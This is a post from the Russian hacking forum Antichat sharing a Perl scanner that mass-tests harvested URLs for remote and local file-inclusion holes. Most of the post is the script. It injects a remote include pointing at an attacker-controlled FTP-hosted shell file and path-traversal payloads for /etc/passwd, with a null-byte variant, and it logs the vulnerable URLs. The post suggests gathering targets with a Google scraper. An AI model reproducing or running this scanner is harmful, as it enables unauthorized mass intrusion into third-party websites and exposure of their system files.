Показать сообщение отдельно

  #6  
Старый 26.10.2008, 23:14
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

satana8920, оказалось что не совсем то же самое, вобщем вот код

Код:
#!perl
use LWP
$list = ""; # Путь к файлу с сылками
$res = ""; # Путь к сохранению результата
$rshell = 'ftp://omfg0o:spyder@ftp.narod.ru/antichat.php?.html'; # Удалённый инклуд, поменять на своё значение
$lshell = '/../../../../../../../../../../../../../../../../../../../../etc/passwd'; # Локальный инклуд
$timeout = 15;
$var = "$ARGV[0]";
open (LIST, "$list") or die $!;
open (RES, ">$res") or die $!;
while (<LIST>) {
	$_=~ /$var/;
	$url = "$`"."$var"."="."$rshell";
	print "Now checking : $url\n";
	$agent = LWP::UserAgent->new();
	$agent -> timeout($timeout);
	$req = HTTP::Request->new(GET => $url);
	$resp = $agent->request($req);
	$body = $resp->content;
	
	if ($body =~ m/ANTICHAT/) {
		print RES "$url\n";
	}
	$url = "$`"."$var"."="."$lshell";
	print "Now checking : $url\n";
	$req = HTTP::Request->new(GET => $url);
	$resp = $agent->request($req);
	$body = $resp->content;
	
	if ($body =~ m/root:x:0:0/) {
		print RES "$url\n";
	} else {
	$url = "$`"."$var"."="."$lshell".'%00';
	print "Now checking : $url\n";
	$req = HTTP::Request->new(GET => $url);
	$resp = $agent->request($req);
	$body = $resp->content;
	
	if ($body =~ m/root:x:0:0/) {
		print RES "$url\n";
	}
	}
}
Вобщем это чекер локальных и удалённых инклудов, работает он с файлом ссылок. Получить этот файл ссылок можно каким нить гугл грабером или моей тузлой для icq.com
https://forum.antichat.ru/thread56927.html

работоспособность этих двух скриптов не гарантирую, если чё пиши в пм =)
 
Ответить с цитированием